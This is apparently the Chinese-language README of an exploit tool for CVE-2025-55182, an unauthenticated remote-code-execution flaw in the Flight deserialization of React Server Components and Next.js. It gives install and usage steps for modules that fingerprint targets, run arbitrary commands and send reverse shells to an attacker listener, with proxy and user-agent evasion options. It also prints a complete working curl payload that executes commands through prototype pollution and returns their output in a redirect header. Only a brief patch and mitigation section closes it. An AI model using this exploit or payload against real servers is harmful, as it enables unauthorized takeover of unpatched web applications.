未认证的 React 服务端组件远程代码执行漏洞,通过 Flight 协议的不安全反序列化实现。单次 HTTP 请求即可在服务器上执行任意代码 — 无需凭据,无需预先访问权限。
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · 未认证 · 预认证 RCE · 披露于 2025 年 12 月 3 日
影响 React 19(≤ 19.2.0)及任何使用 Server Actions 的 Next.js 应用。默认配置即存在漏洞 — 目标端无需自定义代码。
受影响版本
| 包 | 受影响版本 | 修复版本 |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | 所有未修复的 React 19 版本 | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
需要 Python 3.8+。无其他依赖。
python exploit.py <模块> -t <目标> [选项]
模块:
check 指纹识别目标并确认漏洞
exec 执行单条操作系统命令并读取输出
revshell 向你的监听器发送反弹 shell
选项:
-t, --target URL 目标 URL
-c CMD 要执行的命令 (exec 模块)
--lhost IP 你的 IP(若未设置则从 tun0 自动检测)
--lport PORT 监听端口(默认:4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node(默认:bash)
--proxy URL 通过代理路由(例如 http://127.0.0.1:8080)
--random-agent 每次请求轮换 User-Agent
--timeout N 请求超时(默认:15)
推荐工作流程 — 始终从 check 开始:
# 1. 确认目标存在漏洞
python exploit.py check -t http://10.10.11.50
# 2. 运行命令进行枚举或获取旗标
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. 需要交互式 shell 时获取 shell
# (先启动监听器:nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
代理支持和随机 User-Agent 适用于任何模块:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
每个模块的帮助:python exploit.py <模块> --help
React Server Components 使用一种名为 Flight 协议 的内部流式格式进行通信。当浏览器调用 Server Action 时,它会向应用根目录发送一个包含 Next-Action 头的 multipart/form-data POST 请求。服务器在验证 action ID 之前(包括验证动作 ID 之前),就会将请求体传递给 react-server 包进行反序列化。
浏览器 Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: 被投毒的 Flight 数据块 │
│ │
│ react-server │
│ resolveModelToJSON() │ ← 存在漏洞
│ │
│<── 307 + X-Action-Redirect ───────│ 此处输出结果
在 resolveModelToJSON() 函数内部,反序列化器会遍历传入的 JSON 数据块。当遇到包含 then 属性的对象时,会将其视为 Promise 并等待它 — 这是为了异步 Server Components 而设计的正常行为。问题在于:没有进行任何验证来确认该 thenable 对象来自可信源。
攻击者将一个伪造的数据块注入到 multipart 请求体中,该数据块包含一个指向 require('child_process').execSync(...) 的 then 属性。React 会等待它,从而运行操作系统命令。
Next-Action: x 有效在生产环境下,Server Actions 通过 SHA 哈希进行标识。服务器应在处理之前进行验证。但 Flight 解码器在 该检查之前 运行 — 这意味着任何带有 Next-Action 头的 POST 请求,即使是像 x 这样完全伪造的请求,也会触发存在漏洞的反序列化路径。无需有效的 action ID。
注入的代码捕获命令输出,并抛出一个精心构造的 NEXT_REDIRECT 错误:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js 会捕获该错误并将其转换为 307 Temporary Redirect,将 digest 嵌入到 X-Action-Redirect 响应头中。命令输出以 URL 编码形式出现:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
输出位于 X-Action-Redirect 头中,URL 编码于 /login?a= 之后。
npm install react@latest react-dom@latest next@latest
最低安全版本:react-server ≥ 19.3.0 · next ≥ 15.3.6
如果无法立即打补丁:
next.config.js 中设置 experimental: { serverActions: false }Next-Action 头NEXT_REDIRECT 或 __proto__ 的 POST 请求体仅用于授权的渗透测试和教育目的。